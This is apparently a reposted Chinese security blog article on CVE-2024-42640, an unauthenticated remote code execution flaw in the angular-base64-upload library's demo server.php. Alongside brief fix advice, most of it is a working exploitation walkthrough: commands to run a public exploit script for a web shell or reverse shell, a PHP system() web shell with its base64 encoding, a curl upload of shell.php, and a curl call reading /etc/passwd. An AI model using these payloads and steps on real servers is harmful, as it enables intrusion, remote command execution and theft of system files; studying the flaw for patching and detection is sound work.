CVE-2024-42640 CVSS评分10.0 - Angular 未经身份验证的远程代码执行 附EXP

admin 2024年10月30日19:33:57评论38 views字数 1605阅读5分21秒阅读模式

由 Adones 创建的 angular-base64-upload 库 Pitogo 是一种工具,旨在简化上传 base64 编码文件的过程 Angular 应用程序。虽然它为开发人员提供了有价值的功能,但版本 <= v0.1.20 包含可能导致未经身份验证的远程代码的关键安全漏洞 执行 (RCE)。

利用此漏洞,攻击者可以将任意文件内容上传到服务器,随后可以通过 angular-base64-upload/demo/uploads 端点访问这些内容。这会导致执行以前上传的内容,并最终使攻击者能够在服务器上实现代码执行。angular-base64-upload/demo/server.phpCVE-2024-42640 CVSS评分10.0 - Angular 未经身份验证的远程代码执行 附EXP

使用方法

git clone https://github.com/rvizx/CVE-2024-42640cd CVE-2024-42640python3 exploit.py <target> # this will use a php command shell (web-shell)python3 exploit.py <target> --rev # this will use a php reverse shell

修复方式

为了修复安全问题,

  1. 将 angular-base64-upload 库更新到 v0.1.21 或更高版本。

  2. 从 dependency 安装目录下的 angular-base64-upload 文件夹中删除 demo 文件夹。

以下脚本用于使用上述第二个选项修复安全问题fix.sh

CVE-2024-42640 CVSS评分10.0 - Angular 未经身份验证的远程代码执行 附EXP

利用方式

1. 向 {node_modules/bower_components}/angular-base64-upload/demo/server.php 端点发送 curl 请求,查看 而是服务器未使用 HTTP 响应代码 404 进行响应。你可能会得到 500 分。这可以 用于标识目标是否为 无论是否脆弱。您也可以使用 angular-base64-upload/demo/index.html 来测试这一点(只需 就像在 PoC 漏洞中一样)。

2. 使用 PHP 命令 shell 发送另一个 curl POST 请求(这将在下一个 步骤) 或 php-reverse-shell 连接到服务器。Write 或 下载有效负载,然后将有效负载的内容编码为 Base64

例:

<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>

3. 将负载转换为 Base64 格式

PD9waHAKICAgIGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpCiAgICB7CiAgICAgICAgc3lzdGVtKCRfR0VUWydjbWQnXSAuICcgMj4mMScpOwogICAgfQo/Pg==

4. 发送以下请求,文件名为 shell.php,内容为 base64 参数值。

curl -lk -X POST

-H "Content-Type: application/json"

-d '{"base64": "<base64-content>", "filename": "shell.php"}'
"http://$domain/{node_modules/bower_components}/angular-base64-upload/demo/server.php"

5. 现在,访问上传到服务器文件夹的shell.php

curl -lk "http://$domain/{node_modules/bower_components}/demo/uploads/shell.php?cmd=cat+%2Fetc%2Fpasswd"

6. 这将在服务器上执行 cat /etc/passwd 命令,其输出将显示在 HTTP 响应正文(受害者的 /etc/passwd 文件的内容)。

原文始发于微信公众号(合规渗透):CVE-2024-42640 CVSS评分10.0 - Angular 未经身份验证的远程代码执行 附EXP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月30日19:33:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-42640 CVSS评分10.0 - Angular 未经身份验证的远程代码执行 附EXPhttp://cn-sec.com/archives/3333656.html

发表评论

匿名网友 填写信息